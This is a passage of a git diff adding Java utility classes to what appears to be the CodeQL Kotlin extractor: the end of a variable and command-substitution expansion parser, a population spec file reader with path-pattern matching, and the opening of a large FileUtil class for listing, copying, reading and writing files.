+					result.add(combine(trailingWord, segment.get(0)));
+					result.addAll(segment.subList(1, n - 1));
+					return segment.get(n - 1);
+				}
+			}
+
+			private String combine(String a, String b) {
+				if (a == null)
+					return b;
+				return a + b;
+			}
+		}
+
+		class Literal extends Expansion {
+			private final String value;
+
+			public Literal(String value) {
+				this.value = value;
+			}
+
+			@Override
+			public void validate() {
+				// Always valid.
+			}
+
+			@Override
+			public String expandAsString() {
+				return value;
+			}
+
+			@Override
+			public List<String> expandAsList() {
+				return Collections.singletonList(value);
+			}
+		}
+
+		class QuotedString extends Sentence {
+			public QuotedString(List<Expansion> content) {
+				super(Collections.singletonList(content));
+			}
+
+			@Override
+			public List<String> expandAsList() {
+				return Collections.singletonList(this.expandAsString());
+			}
+		}
+
+		class Variable extends Expansion {
+			protected final String name;
+
+			public Variable(String name) {
+				this.name = name;
+			}
+
+			@Override
+			public void validate() {
+				varLookup(name); // Will throw if variable is undefined.
+			}
+
+			protected void startExpanding(String name) {
+				if (!expansionsInProgress.add(name))
+					throw new UserError("Circular expansion of variable " + name);
+			}
+
+			protected void doneWith(String name) {
+				if (!expansionsInProgress.remove(name))
+					throw new CatastrophicError("Not currently expanding " + name);
+			}
+
+			protected String ref() {
+				return "${" + name + "}";
+			}
+
+			@Override
+			public final String expandAsString() {
+				if (unexpandedVars.contains(name))
+					return ref();
+				startExpanding(name);
+				String result = expandAsStringImpl();
+				doneWith(name);
+				return result;
+			}
+
+			public String expandAsStringImpl() {
+				// Not calling ExpansionEnvironment.strExpand(), since
+				// we must run in the same enclosing instance of Expander.
+				return new ExpansionParser(varLookup(name)).parseAsString().expandAsString();
+			}
+
+			@Override
+			public final List<String> expandAsList() {
+				if (unexpandedVars.contains(name))
+					return Collections.singletonList(ref());
+				startExpanding(name);
+				List<String> result = expandAsListImpl();
+				doneWith(name);
+				return result;
+			}
+
+			public List<String> expandAsListImpl() {
+				return Collections.singletonList(expandAsStringImpl());
+			}
+		}
+
+		class SplitVariable extends Variable {
+			public SplitVariable(String name) {
+				super(name);
+			}
+
+			@Override
+			protected String ref() {
+				return "${=" + name + "}";
+			}
+
+			@Override
+			public String expandAsStringImpl() {
+				return StringUtil.glue(" ", expandAsListImpl());
+			}
+
+			@Override
+			public List<String> expandAsListImpl() {
+				return listExpand(varLookup(name));
+			}
+		}
+
+		class Command extends Expansion {
+			private final Sentence argv;
+
+			public Command(List<List<Expansion>> args) {
+				this.argv = new Sentence(args);
+			}
+
+			@Override
+			public void validate() {
+				argv.validate();
+			}
+
+			protected String run() {
+				List<String> args = argv.expandAsList();
+				ByteArrayOutputStream result = new ByteArrayOutputStream();
+				ByteArrayOutputStream err = new ByteArrayOutputStream();
+				Builder builder = new Builder(args, result, err);
+				builder.setLeakPrevention(LeakPrevention.ALL);
+				try {
+					int exitCode = builder.execute();
+					if (exitCode != 0)
+						throw new UserError("Exit code " + exitCode
+								+ " from command "
+								+ builder.toString());
+					if (err.size() > 0)
+						throw new UserError("Command \""
+								+ builder.toString()
+								+ "\" produced output on stderr: " + err.toString());
+				} catch (RuntimeException e) {
+					throw new UserError("Could not execute command "
+							+ builder.toString(), e);
+				}
+				return result.toString();
+			}
+
+			@Override
+			public String expandAsString() {
+				return run();
+			}
+
+			@Override
+			public List<String> expandAsList() {
+				return Collections.singletonList(expandAsString());
+			}
+		}
+
+		class SplitCommand extends Command {
+			public SplitCommand(List<List<Expansion>> argv) {
+				super(argv);
+			}
+
+			@Override
+			public String expandAsString() {
+				return StringUtil.glue(" ", expandAsList());
+			}
+
+			@Override
+			public List<String> expandAsList() {
+				return new ExpansionParser(run()).splitAsString().expandAsList();
+			}
+		}
+
+		private class ExpansionParser {
+			private final ExpansionTokeniser tokens;
+
+			public ExpansionParser(String str) {
+				tokens = new ExpansionTokeniser(str);
+			}
+
+			public Sentence parseAsString() {
+				List<List<Expansion>> words = new ArrayList<List<Expansion>>();
+				words.add(parseTerminatedString(null));
+				return new Sentence(words);
+			}
+
+			public Sentence parseAsList() {
+				return new Sentence(parseTerminatedList(null, false));
+			}
+
+			public Sentence splitAsString() {
+				return new Sentence(parseTerminatedList(null, true));
+			}
+
+			private List<Expansion> parseTerminatedString(String terminator) {
+				List<Expansion> result = new ArrayList<Expansion>();
+
+				while (tokens.hasMoreTokens()) {
+					String next = tokens.nextToken();
+					if (next.equals(terminator)) {
+						return result;
+					} else if (next.equals("\\\"")) {
+						result.add(new Literal("\""));
+					} else if (next.equals("\\\\")) {
+						result.add(new Literal("\\"));
+					} else if (!tryParseExpansion(result, next)) {
+						result.add(new Literal(next));
+					}
+				}
+
+				if (terminator != null)
+					throw new UserError(
+							"Premature end of input while looking for matching '"
+									+ terminator + "'.");
+
+				return result;
+			}
+
+			private List<List<Expansion>> parseTerminatedList(String terminator,
+					boolean noExpansions) {
+				List<List<Expansion>> result = new ArrayList<List<Expansion>>();
+
+				List<Expansion> accum = new ArrayList<Expansion>();
+				boolean mustSeeSpace = false;
+				while (tokens.hasMoreTokens()) {
+					String next = tokens.nextToken();
+					if (next.equals(terminator)) {
+						if (accum.size() > 0)
+							result.add(accum);
+						return result;
+					} else if (mustSeeSpace
+							&& !Character.isWhitespace(next.charAt(0))) {
+						throw new UserError("The quoted string ending at "
+								+ tokens.pos()
+								+ " must be surrounded by whitespace.");
+					} else if (next.length() > 0
+							&& Character.isWhitespace(next.charAt(0))) {
+						mustSeeSpace = false;
+						if (accum.size() > 0) {
+							result.add(accum);
+							accum = new ArrayList<Expansion>();
+						}
+					} else if (next.equals("\"")) {
+						if (!accum.isEmpty())
+							throw new UserError(
+									"At position "
+											+ tokens.pos()
+											+ ", the quote should "
+											+ "either be preceded by a space (if it is intended to start an argument) "
+											+ "or escaped as \\\".");
+						accum.add(new QuotedString(parseTerminatedString("\"")));
+						result.add(accum);
+						accum = new ArrayList<Expansion>();
+						mustSeeSpace = true;
+					} else if (next.equals("\\\"")) {
+						// An escaped quote means a literal quote.
+						accum.add(new Literal("\""));
+					} else if (next.equals("\\\\")) {
+						// An escaped backslash means a literal backslash.
+						accum.add(new Literal("\\"));
+					} else if (noExpansions || !tryParseExpansion(accum, next)) {
+						accum.add(new Literal(next));
+					}
+				}
+
+				if (terminator != null)
+					throw new UserError(
+							"Premature end of expansion while looking for '"
+									+ terminator + "'.");
+
+				if (accum.size() > 0)
+					result.add(accum);
+
+				return result;
+			}
+
+			private boolean tryParseExpansion(List<Expansion> result,
+					String curToken) {
+				if (curToken.equals("${}")) {
+					result.add(new Literal("$"));
+				} else if (curToken.equals("$(=") && commandSubstitutions) {
+					result.add(new SplitCommand(parseTerminatedList(")", false)));
+				} else if (curToken.equals("$(") && commandSubstitutions) {
+					result.add(new Command(parseTerminatedList(")", false)));
+				} else if (curToken.equals("${=")) {
+					result.add(new SplitVariable(parseVarName()));
+				} else if (curToken.equals("${")) {
+					result.add(new Variable(parseVarName()));
+				} else if (curToken.equals("$")) {
+					throw new UserError(
+							"Malformed expansion: A standalone '$' character should be escaped as '${}'.");
+				} else {
+					return false;
+				}
+				return true;
+			}
+
+			protected String parseVarName() {
+				if (!tokens.hasMoreTokens())
+					throw new UserError(
+							"Malformed variable substitution: stray '${' at " + tokens.pos());
+				String name = tokens.nextToken();
+				if (tokens.isDelimiter(name))
+					throw new UserError(
+							"Malformed variable substitution: Unexpected '" + name
+							+ "' at " + tokens.pos());
+				if (!tokens.hasMoreTokens())
+					throw new UserError(
+							"Malformed variable substitution for '" + name +
+							"': Missing '}' at " + tokens.pos());
+				String next = tokens.nextToken();
+				if (!next.equals("}"))
+					throw new UserError(
+							"Malformed variable substitution: Expecting '}' at "
+									+ tokens.pos() + ", found '" + next + "'.");
+				return name;
+			}
+		}
+	}
+
+	/**
+	 * Resolve a path. Any variables in the path will be expanded. If
+	 * the path is an absolute path after expansion, it is returned as is.
+	 * Otherwise, it is combined with the given base path.
+	 */
+	public File expandPath(File base, String path) {
+		String expanded = strExpand(path);
+		if (FileUtil.isAbsolute(expanded)) {
+			return new File(expanded);
+		} else {
+			return FileUtil.fileRelativeTo(base, expanded);
+		}
+	}
+
+	/**
+	 * Escape a string so that any '$'s inside it will be interpreted literally, rather than
+	 * as parts of variable references.
+	 */
+	public static String escape(String base) {
+		return base.replace("$", "${}");
+	}
+
+	/**
+	 * Escape {@code argument} as an argument, so that any {@code $}, {@code \} or {@code "} is interpreted literally.
+	 *
+	 * @param argument - the String to escape.
+	 * @return the escaped String.
+	 */
+	public static String escapeArgument(String argument) {
+		return escape(argument).replaceAll(Matcher.quoteReplacement("\\"), Matcher.quoteReplacement("\\\\")).replaceAll(Matcher.quoteReplacement("\""), Matcher.quoteReplacement("\\\""));
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/extraction/PopulationSpecFile.java b/java/kotlin-extractor/src/main/java/com/semmle/util/extraction/PopulationSpecFile.java
new file mode 100644
index 00000000000..2f800cb6cea
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/extraction/PopulationSpecFile.java
@@ -0,0 +1,100 @@
+package com.semmle.util.extraction;
+
+import java.io.BufferedReader;
+import java.io.File;
+import java.io.FileReader;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.files.FileUtil;
+import com.semmle.util.process.Env;
+import com.semmle.util.trap.pathtransformers.PathTransformer;
+
+/**
+ * A file listing patterns of source files and which ODASA project
+ * each should be populated to (if any).
+ */
+public class PopulationSpecFile {
+
+	private final List<SpecFileEntry> specs = new ArrayList<SpecFileEntry>();
+
+	public PopulationSpecFile(File specFile) {
+		FileReader fileReader = null;
+		BufferedReader reader = null;
+		
+		try {
+			fileReader = new FileReader(specFile);
+			reader = new BufferedReader(fileReader);
+	
+			File dbPath = null;
+			File trapFolder = null;
+			File sourceArchivePath = null;
+			List<String> patterns = new ArrayList<String>();
+			
+			String line;
+			while ((line = reader.readLine()) != null) {
+				line = line.trim();
+				if (line.length() == 0 || line.startsWith("@"))
+					continue;
+				if (line.startsWith("#")) {
+					if (dbPath != null)
+						specs.add(new SpecFileEntry(trapFolder, sourceArchivePath, patterns));
+					dbPath = null;
+					sourceArchivePath = null;
+					patterns = new ArrayList<String>();
+				} else if (line.startsWith("TRAP_FOLDER=")) {
+					trapFolder = new File(line.substring("TRAP_FOLDER=".length()));
+				} else if (line.startsWith("ODASA_DB=")) {
+					dbPath = new File(line.substring("ODASA_DB=".length()));
+				} else if (line.startsWith("SOURCE_ARCHIVE=")) {
+					sourceArchivePath = new File(line.substring("SOURCE_ARCHIVE=".length()));
+				} else if (line.startsWith("BUILD_ERROR_DIR=")) {
+					// Accept and ignore for backwards compatibility
+				} else if (line.startsWith("-")) {
+					File path = new File(line.substring(1).trim());
+					patterns.add("-" + normalisePathAndCase(path) + "/");
+				} else {
+					File path = new File(line);
+					patterns.add(normalisePathAndCase(path) + "/");
+				}
+			}
+			
+			if (dbPath != null)
+				specs.add(new SpecFileEntry(trapFolder, sourceArchivePath, patterns));
+		} catch (IOException e) {
+			throw new ResourceError("I/O error while reading specification file at " + specFile, e);
+		} finally {
+			FileUtil.close(reader);
+			FileUtil.close(fileReader);
+		}
+	}
+	
+	/**
+	 * Get the entry for a file, or <code>null</code> if there is no matching entry
+	 */
+	public SpecFileEntry getEntryFor(File f) {
+		String path = normalisePathAndCase(f);
+
+		for (SpecFileEntry entry : specs)
+			if (entry.matches(path))
+				return entry;
+		
+		return null;
+	}
+
+	/**
+	 * Normalises the path like {@link PathTransformer#fileAsDatabaseString(File)}, and, in
+	 * addition, converts it to all-lowercase if we're on a case-insensitive
+	 * filesystem.
+	 * @param file the file to normalise
+	 * @return a normalised path that is lowercased if the file system is case-insensitive.
+	 */
+	private static String normalisePathAndCase(File file) {
+		String path = PathTransformer.std().fileAsDatabaseString(file);
+		if (!Env.getOS().isFileSystemCaseSensitive())
+			path = path.toLowerCase();
+		return path;
+	}
+}
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/extraction/SpecFileEntry.java b/java/kotlin-extractor/src/main/java/com/semmle/util/extraction/SpecFileEntry.java
new file mode 100644
index 00000000000..f5cedaebdf2
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/extraction/SpecFileEntry.java
@@ -0,0 +1,48 @@
+package com.semmle.util.extraction;
+
+import java.io.File;
+import java.util.List;
+
+import com.semmle.util.data.StringUtil;
+
+public class SpecFileEntry {
+	private final File trapFolder;
+	private final File sourceArchivePath;
+	private final List<String> patterns;
+	
+	public SpecFileEntry(File trapFolder, File sourceArchivePath, List<String> patterns) {
+		this.trapFolder = trapFolder;
+		this.sourceArchivePath = sourceArchivePath;
+		this.patterns = patterns;
+	}
+	
+	public boolean matches(String path) {
+		boolean matches = false;
+		for (String pattern : patterns) {
+			if (pattern.startsWith("-")) {
+				if (path.startsWith(pattern.substring(1)))
+					matches = false;
+			} else {
+				if (path.startsWith(pattern))
+					matches = true;
+			}
+		}
+		return matches;
+	}
+	
+	public File getTrapFolder() {
+		return trapFolder;
+	}
+	
+	public File getSourceArchivePath() {
+		return sourceArchivePath;
+	}
+	
+	@Override
+	public String toString() {
+		return
+			"TRAP_FOLDER=" + trapFolder + "\n" + 
+			"SOURCE_ARCHIVE=" + sourceArchivePath + "\n" + 
+			StringUtil.glue("\n", patterns);
+	}
+}
\ No newline at end of file
diff --git a/java/kotlin-extractor/src/main/java/com/semmle/util/files/FileUtil.java b/java/kotlin-extractor/src/main/java/com/semmle/util/files/FileUtil.java
new file mode 100644
index 00000000000..6c3e754310e
--- /dev/null
+++ b/java/kotlin-extractor/src/main/java/com/semmle/util/files/FileUtil.java
@@ -0,0 +1,2111 @@
+package com.semmle.util.files;
+
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.Closeable;
+import java.io.File;
+import java.io.FileFilter;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.FilePermission;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.io.OutputStreamWriter;
+import java.io.Reader;
+import java.io.StringWriter;
+import java.io.UnsupportedEncodingException;
+import java.io.Writer;
+import java.lang.reflect.UndeclaredThrowableException;
+import java.net.Socket;
+import java.nio.charset.Charset;
+import java.nio.file.AtomicMoveNotSupportedException;
+import java.nio.file.CopyOption;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.security.AccessControlException;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.Arrays;
+import java.util.BitSet;
+import java.util.Collections;
+import java.util.LinkedHashMap;
+import java.util.LinkedHashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Properties;
+import java.util.Random;
+import java.util.Set;
+import java.util.Stack;
+import java.util.regex.Pattern;
+
+import com.github.codeql.Logger;
+import com.github.codeql.Severity;
+
+import com.semmle.util.basic.ObjectUtil;
+import com.semmle.util.data.Pair;
+import com.semmle.util.data.StringUtil;
+import com.semmle.util.exception.CatastrophicError;
+import com.semmle.util.exception.Exceptions;
+import com.semmle.util.exception.ResourceError;
+import com.semmle.util.files.PathMatcher.Mode;
+import com.semmle.util.io.StreamUtil;
+import com.semmle.util.io.csv.CSVReader;
+import com.semmle.util.io.csv.CSVWriter;
+import com.semmle.util.process.Env;
+import com.semmle.util.process.Env.OS;
+
+
+public class FileUtil
+{
+	public static Logger logger = null;
+
+	/**
+	 * Regular expression pattern for invalid filename characters
+	 */
+	private final static Pattern rpInvalidFilenameCharacters = Pattern.compile("[\\\\/:*?\"'<>|@]");
+
+	/**
+	 * The UTF-8 Charset
+	 */
+	public static final Charset UTF8   = Charset.forName("UTF-8");
+
+
+	/**
+	 * List all children of a directory. This throws sensible errors if there is a problem listing the
+	 * directory, unlike Java's <code>listFiles</code> method (which just returns <code>null</code>).
+	 * Equivalent to <code>list(f, null)</code>.
+	 *
+	 * @param f the directory in which to list children
+	 * @return the children of <code>f</code> (empty if <code>f</code> is an empty directory)
+	 * @throws ResourceError with an appropriate message if <code>f</code> does not exist, is not a
+	 *           directory, cannot be read, or some other error occurred.
+	 */
+	public static File[] list (File f)
+	{
+		return list(f, null);
+	}
+
+	/**
+	 * List all children of a directory, with an optional filter. This throws sensible errors if there
+	 * is a problem listing the directory, unlike Java's <code>listFiles</code> method (which just
+	 * returns <code>null</code>). It also sorts the files by their file name, so that the result is
+	 * stable.
+	 *
+	 * @param f the directory in which to list children
+	 * @param filter the filter to use for selecting which files to return, or <code>null</code>
+	 * @return the children of <code>f</code> (empty if <code>f</code> is an empty directory)
+	 * @throws ResourceError with an appropriate message if <code>f</code> does not exist, is not a
+	 *           directory, cannot be read, or some other error occurred.
+	 */
+	public static File[] list (File f, FileFilter filter)
+	{
+		File[] files = filter == null ? f.listFiles() : f.listFiles(filter);
+		if (files == null) {
+			boolean exists = f.exists();
+			boolean isDirectory = f.isDirectory();
+			boolean canRead = f.canRead();
+			throw new ResourceError("Could not list the contents of directory "
+			                        + f
+			                        + " - "
+			                        + (!exists
+			                                  ? "file does not exist."
+			                                  : !isDirectory
+			                                                ? "file is not a directory."
+			                                                : !canRead
+			                                                          ? "cannot read - permission denied."
+			                                                          : "unknown I/O error."));
+		}
+		Arrays.sort(files);
+		return files;
+	}
+
+	/**
+	 * Traverse a directory and collect all files selected by the given filter, returning them as a
+	 * set. The filter should not be null; files will be added using a pre-order depth-first
+	 * traversal.
+	 *
+	 * @deprecated Use <code>FileUtil8.CollectingFileVisitor</code> instead.
+	 * @param dir the directory to traverse
+	 * @param filter a filter selecting files of interest
+	 * @return a set of transitively contained files matched by the filter
+	 * @throws ResourceError with an appropriate message upon some error during traversal
+	 */
+	@Deprecated
+	public static Set<File> recursiveFind (File dir, FileFilter filter)
+	{
+		Set<File> result = new LinkedHashSet<>();
+		recursiveFind(dir, filter, result);
+		return result;
+	}
+
+	/**
+	 * Traverse a directory and collect all files selected by the given filter, returning them as a
+	 * set. The filter should not be null; files will be added using a pre-order depth-first
+	 * traversal.  Unlike {@link #recursiveFind(File, FileFilter)}, this version
+	 * applies a second filter to directories as well, and only recurses into directories that are
+	 * accepted by that filter.
+	 *
+	 * @deprecated Use <code>FileUtil8.CollectingFileVisitor</code> instead.
+	 * @param dir the directory to traverse
+	 * @param filter a filter selecting files of interest
+	 * @param recurseFilter a filter selecting directories to recurse into.
+	 * @return a set of transitively contained files matched by the filter
+	 * @throws ResourceError with an appropriate message upon some error during traversal
+	 */
+	@Deprecated
+	public static Set<File> recursiveFind (File dir, FileFilter filter, FileFilter recurseFilter)
+	{
+		Set<File> result = new LinkedHashSet<>();
+		recursiveFind(dir, filter, recurseFilter, result);
+		return result;
+	}
+
+	/**
+	 * Traverse a directory and collect all files selected by the given filter, adding them to the
+	 * given set. The filter should not be null; files will be added using a pre-order depth-first
+	 * traversal.
+	 *
+	 * @deprecated Use <code>FileUtil8.CollectingFileVisitor</code> instead.
+	 * @param dir the directory to traverse
+	 * @param filter a filter selecting files of interest
+	 * @param result the set to which transitively contained files matched by the filter should be
+	 *          added
+	 * @throws ResourceError with an appropriate message upon some error during traversal
+	 */
+	@Deprecated
+	public static void recursiveFind (File dir, FileFilter filter, Set<File> result)
+	{
+		recursiveFind(dir, filter, null, result);
+	}
+
+	/**
+	 * Traverse a directory and collect all files selected by the given filter, adding them to the
+	 * given set. The filter should not be null; files will be added using a pre-order depth-first
+	 * traversal. Unlike {@link #recursiveFind(File, FileFilter, Set)}, this version
+	 * applies a second filter to directories as well, and only recurses into directories that are
+	 * accepted by that filter.
+	 *
+	 * @deprecated Use <code>FileUtil8.CollectingFileVisitor</code> instead.
+	 * @param dir the directory to traverse
+	 * @param filter a filter selecting files of interest
+	 * @param recurseFilter a filter selecting directories to recurse into.
+	 * @param result the set to which transitively contained files matched by the filter should be
+	 *          added
+	 * @throws ResourceError with an appropriate message upon some error during traversal
+	 */
+	@Deprecated
+	public static void recursiveFind (File dir, FileFilter filter, FileFilter recurseFilter, Set<File> result)
+	{
+		for (File f : list(dir, filter))
+			result.add(f);
+
+		FileFilter recurseDirFilter = recurseFilter == null ?
+		                              FileUtil.kindFilter(false) :
+		                              FileUtil.andFilters(FileUtil.kindFilter(false), recurseFilter);
+
+		for (File f : list(dir, recurseDirFilter)) {
+			recursiveFind(f, filter, recurseFilter, result);
+		}
+	}
+
+	/**
+	 * Ensure the specified directory exists (as a directory), creating parent directories if
+	 * necessary.
+	 *
+	 * @param dir The directory to create.
+	 * @throws ResourceError if the desired directory already exists (but isn't a directory), or if
+	 *           the creation of it or one of its parents fails.
+	 */
+	public static void mkdirs (File dir)
+	{
+		if (dir.exists()) {
+			if (dir.isDirectory())
+				return;
+			else
+				throw new ResourceError("Can't create " + dir + " -- it exists as a non-directory.");
+		}
+		if (dir.mkdirs())
+			return;
+		/*
+		 * There is a possible time-of-check time-of-use race condition where someone creates the directory
+		 * between our existence check and our attempt to create it.
+		 *
+		 * In this case our goal is to ensure the existence of the directory, so it's okay if this happens.
+		 *
+		 * There are other possible race conditions, e.g. if someone deletes the directory after we create it,
+		 * but we want to handle this one in particular, since multiple creations of the same directory is
+		 * especially likely when running multiple instances of a process that use a shared directory.
+		 */
+		if (dir.isDirectory())
+			return;
+		File child = dir;
+		File parent = dir.getParentFile();
+		while (parent != null) {
+			if (parent.exists())
+				throw new ResourceError("Couldn't create child directory " + child.getName() + " of "
+				                        + (parent.isDirectory() ? "" : "non-directory ") + parent + ".");
+			child = parent;
+			parent = child.getParentFile();
+		}
+		throw new ResourceError("Couldn't create "+dir.getPath()+": no ancestor even exists.");
+	}
+
+	/**
+	 * Determines whether or not the specified string represents an absolute path on either a
+	 * Windows-based or UNIX-based system. Absolute paths are those that start with either /, \ or
+	 * X:\, for some letter X.
+	 *
+	 * @param path The string containing the path to check (can safely be null or empty).
+	 * @return true, if the string represents an absolute path, or false otherwise.
+	 */
+	public static boolean isAbsolute (String path)
+	{
+		// Handle invalid paths gracefully.
+		if (path == null || path.length() == 0)
+			return false;
+
+		return    path.charAt(0) == '/'                 // Starts with /
+		       || path.charAt(0) == '\\'                // Starts with \
+		       || (  path.length() >= 3                 // Starts with X:/ or X:\ for some character X
+		          && Character.isLetter(path.charAt(0))
+		          && path.charAt(1) == ':'
+		          && (  path.charAt(2) == '/'
+		             || path.charAt(2) == '\\'));
+	}
+
+	/**
+	 * Copies a file
+	 *
+	 * @return false if failed to copy.
+	 */
+	public static boolean copy (File from, File to)
+	{
+		boolean targetFileExisted = to.exists();
+		try {
+			copyFile(from, to, false);
+			return true;
+		}
+		catch (IOException e) {
+			// If the target did not exist before, make sure
+			// we delete it if there was any error
+			if (!targetFileExisted)
+				to.delete();
+
+			logger.error("Cannot copy " + from + " to " + to, e);
+			return false;
+		}
+	}
+
+	/**
+	 * Append all of <code>sourceFile</code> to the end of <code>targetFile</code> - like
+	 * <code>copy</code>, but just adds to the end of the file.
+	 *
+	 * @return <code>true</code> iff the append succeeded
+	 */
+	public static boolean append (File sourceFile, File targetFile)
+	{
+		try {
+			copyFile(sourceFile, targetFile, true);
+			return true;
+		}
+		catch (IOException e) {
+			logger.error("Cannot append contents of " + sourceFile + " to " + targetFile, e);
+			return false;
+		}
+	}
+
+	/**
+	 * Write the contents of the given string to the file, creating it if it does not exist and overwriting it if it does.
+	 *
+	 * @param file the target file
+	 * @param content the string to write
+	 */
+	public static void write (File file, String content)
+	{
+		Writer writer = null;
+		try {
+			writer = openWriterUTF8(file, true, false);
+			writer.write(content);
+		}
+		catch (IOException e) {
+			throw new ResourceError("Failed to write to file " + file, e);
+		}
+		finally {
+			close(writer);
+		}
+	}
+
+	/**
+	 * Append the contents of the given string to the file, creating it if it does not exist.
+	 *
+	 * @param file the target file
+	 * @param content the string to write
+	 */
+	public static void append (File file, String content)
+	{
+		Writer writer = null;
+		try {
+			writer = openWriterUTF8(file, false, true);
+			writer.write(content);
+		}
+		catch (IOException e) {
+			throw new ResourceError("Failed to append to file " + file, e);
+		}
+		finally {
+			close(writer);
+		}
+	}
+
+	/**
+	 * Read a text file in its entirety.
+	 */
+	public static String readText (File f) throws IOException
+	{
+		char[] cbuf = new char[10240];
+		StringBuilder buf = new StringBuilder();
+		InputStreamReader reader = new InputStreamReader(new FileInputStream(f), "UTF8");
+		try {
+			int n = reader.read(cbuf);
+			while (n > 0) {
+				buf.append(cbuf, 0, n);
+				n = reader.read(cbuf);
+			}
+		}
+		finally {
+			reader.close();
+		}
+		return buf.toString();
+	}
+
+	/**
+	 * Read a text file in its entirety.
+	 */
+	public static String readText (Path f) throws IOException
+	{
+		char[] cbuf = new char[10240];
+		StringBuilder buf = new StringBuilder();
+		InputStreamReader reader = new InputStreamReader(Files.newInputStream(f), "UTF8");
+		try {
+			int n = reader.read(cbuf);
+			while (n > 0) {
+				buf.append(cbuf, 0, n);
+				n = reader.read(cbuf);
+			}
+		}
+		finally {
+			reader.close();
+		}
+		return buf.toString();
+	}
+
+	/**
+	 * Load the given file as a standard Java {@link Properties} definition. The parsing is done using
+	 * Properties.load(), which allows comments and accepts both '=' and ':' as the key/value
+	 * separator.
+	 *
+	 * @param f the file to load.
+	 * @return a {@link Properties} object containing the loaded content of the file.
+	 * @throws ResourceError if an IO exception occurs.
+	 */
+	public static Properties loadProperties (File f)
+	{
+		Properties result = new Properties();
+		try (FileInputStream fis = new FileInputStream(f);
+				Reader reader = new InputStreamReader(new BufferedInputStream(fis), UTF8)) {
+			result.load(reader);
+			return result;
+		} catch (IOException e) {
+			throw new ResourceError("Failed to read properties from " + f, e);
+		}
+	}
+
+	/**
+	 * Save the given {@link Properties} to a file, UTF-8 encoded, with the proper
+	 * escaping.
+	 *
+	 * @param props the {@link Properties} to save.
+	 * @param f the file in which the properties should be saved.
+	 * @throws ResourceError if an IO exception occurs.
+	 */
+	public static void writeProperties (Properties props, File f)
+	{
+		try (OutputStream os = new FileOutputStream(f);
+				Writer writer = new OutputStreamWriter(new BufferedOutputStream(os), UTF8)) {
+			props.store(writer, null);
+		} catch (IOException ioe) {
+			throw new ResourceError("Failed to write properties to " + f, ioe);
+		}
+	}
+
+	/**
+	 * Copies a folder recursively, by overwriting files if necessary. Copies all folders but filters
+	 * files.
+	 * <p>
+	 * <b>IMPORTANT:</b>The contents of <code>from</code> are copied to <code>to</code>, but a
+	 * subdirectory is not created for them. This behaves like <code>rsync -a from/ to</code>.
+	 * <p>
+	 * If {@code from} is a file rather than a directory, it is copied (assuming the filter matches
+	 * it) to the file named by {@code to} -- this must not already exist as a directory.
+	 *
+	 * @deprecated Use <code>FileUtil8.recursiveCopy</code> instead.
+	 * @param from Directory whose contents should be copied, or a file.
+	 * @param to Directory to which files and subdirectories of <code>from</code> should be copied, or
+	 *          a file path (if {@code from} is a file).
+	 * @param filter the filter to use for selecting which files to copy, or <code>null</code>
+	 * @return false if failed to copy.
+	 */
+	@Deprecated
+	public static boolean recursiveCopy (File from, File to, final FileFilter filter)
+	{
+		// Make sure we include all subfolders
+		FileFilter realFilter = new FileFilter() {
+			@Override
+			public boolean accept (File pathname)
+			{
+				if (filter == null || pathname.isDirectory())
+					return true;
+				else
+					return filter == null || filter.accept(pathname);
+			}
+		};
+		return strictRecursiveCopy(from, to, realFilter);
+	}
+
+	/**
+	 * Copies a folder recursively, by overwriting files if necessary. Unlike
+	 * {@link #recursiveCopy(File, File, FileFilter)}, this version applies the filter to directories
+	 * as well, and only recurses into directories that are accepted by the filter.
+	 * <p>
+	 * <b>IMPORTANT:</b>The contents of <code>from</code> are copied to <code>to</code>, but a
+	 * subdirectory is not created for them. This behaves like <code>rsync -a from/ to</code>.
+	 * <p>
+	 * If {@code from} is a file rather than a directory, it is copied (assuming the filter matches
+	 * it) to the file named by {@code to} -- this must not already exist as a directory.
+	 *
+	 * @deprecated Use <code>FileUtil8.recursiveCopy</code> instead.
+	 * @param from Directory whose contents should be copied, or a file.
+	 * @param to Directory to which files and subdirectories of <code>from</code> should be copied, or
+	 *          a file path (if {@code from} is a file).
+	 * @param filter the filter to use for selecting which files to copy, or <code>null</code>
+	 * @return false if failed to copy.
+	 */
+	@Deprecated
+	public static boolean strictRecursiveCopy (File from, File to, FileFilter filter)
+	{
+		if (!from.exists()) {
+			return false;
+		}
+		if (from.isFile()) {
+			return copy(from, to);
+		}
+		else {
+			if (!to.exists()) {
+				if (!to.mkdir()) {
+					return false;
+				}
+			}
+			boolean success = true;
+			for (File childFrom : list(from, filter)) {
+				File childTo = new File(to, childFrom.getName());
+				success &= strictRecursiveCopy(childFrom, childTo, filter);
+			}
+			return success;
+		}
+	}
+
+	/**
+	 * Writes the entire contents of a stream to a file. Closes input stream when writing is done
+	 *
+	 * @return true on success, false otherwise
+	 */
+	public static boolean writeStreamToFile (InputStream in, File fileOut)
+	{
+		if (in == null) {
+			return false;
+		}
+		FileOutputStream out = null;
+		try {
+			out = new FileOutputStream(fileOut);
+
+			byte[] buf = new byte[16 * 1024];
+			int count;
+			while ((count = in.read(buf)) > 0) {
+				out.write(buf, 0, count);
+			}
+			out.flush();
+			out.close();
+		}
+		catch (IOException e) {
+			logger.error("Error writing stream to file", e);
+			return false;
+		}
+		finally {
+			if (out != null) {
+				try {
+					out.close();
+				}
+				catch (IOException e) {
+					Exceptions.ignore(e, "We don't care about exceptions during closing");
+				}
+			}
+			if (in != null) {
+				try {
+					in.close();
+				}
+				catch (IOException e) {
+					Exceptions.ignore(e, "We don't care about exceptions during closing");
+				}
+			}
+		}
+		return true;
+	}
+
+
+	public static void writeStreamToFile(InputStream inStream, Path resolve) throws IOException {
+		try (OutputStream out = Files.newOutputStream(resolve)) {
+			StreamUtil.copy(inStream, out);
+		}
+	}
+
